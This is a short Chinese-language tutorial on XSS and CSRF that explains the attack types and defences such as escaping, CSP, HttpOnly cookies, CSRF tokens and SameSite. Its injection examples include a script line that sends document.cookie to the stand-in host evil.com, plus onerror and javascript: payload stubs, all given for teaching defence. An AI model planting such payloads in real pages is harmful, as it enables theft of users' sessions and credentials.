XSS 与 CSRF：两种最常见的 Web 攻击

XSS：跨站脚本攻击

攻击者想办法把恶意脚本注入到页面里执行。一旦在你的域名上下文跑起来，Cookie、localStorage、页面数据全部沦陷，还能以你的身份调接口。

分三类：

• 存储型：恶意代码存进数据库（如评论、文章），每个访问者都中招，危害最大
• 反射型：恶意代码在 URL 参数里，服务器原样拼到页面返回，骗用户点击链接触发
• DOM 型：前端把不可信数据直接写进 DOM（innerHTML、document.write）

注入示例：

<script>fetch('https://evil.com?cookie=' + document.cookie)</script>
<img src=x onerror="stealToken()">
<a href="javascript:steal()">点击查看</a>

防御：

1. 输出转义是核心——不可信数据渲染到 HTML 前转义 < > & 等。现代框架（Vue/React）的插值默认转义，但 v-html/dangerouslySetInnerHTML 会绕过
2. 富文本场景必须用 DOMPurify 这类白名单净化库，过滤后再渲染
3. 设置 CSP（Content-Security-Policy）响应头，限制脚本来源，即使注入成功也无法外联
4. 敏感 Cookie 加 HttpOnly，JS 偷不到；输入校验做辅助

CSRF：跨站请求伪造

攻击者借用你的登录状态：你已登录 A 网站，访问恶意网站 B，B 的页面悄悄向 A 发起转账请求，浏览器会自动带上 A 的 Cookie，服务器以为是你本人操作。

与 XSS 的区别：XSS 是"在你的页面执行脚本"，CSRF 是"借你的 Cookie 发请求"，攻击者读不到响应。

防御：

1. CSRF Token：表单/请求头里带一个攻击者无法获知的随机令牌，服务器校验
2. SameSite Cookie：设置 SameSite=Lax/Strict，跨站请求默认不带 Cookie（现代浏览器主流方案）
3. 校验 Referer/Origin（可被绕过，作辅助）
4. 敏感操作二次确认（验证码、支付密码）

两者对照

安全是纵深防御：转义、CSP、HttpOnly、SameSite、权限校验每一层都不能省。任何用户输入都默认是恶意的——这是安全开发的第一原则。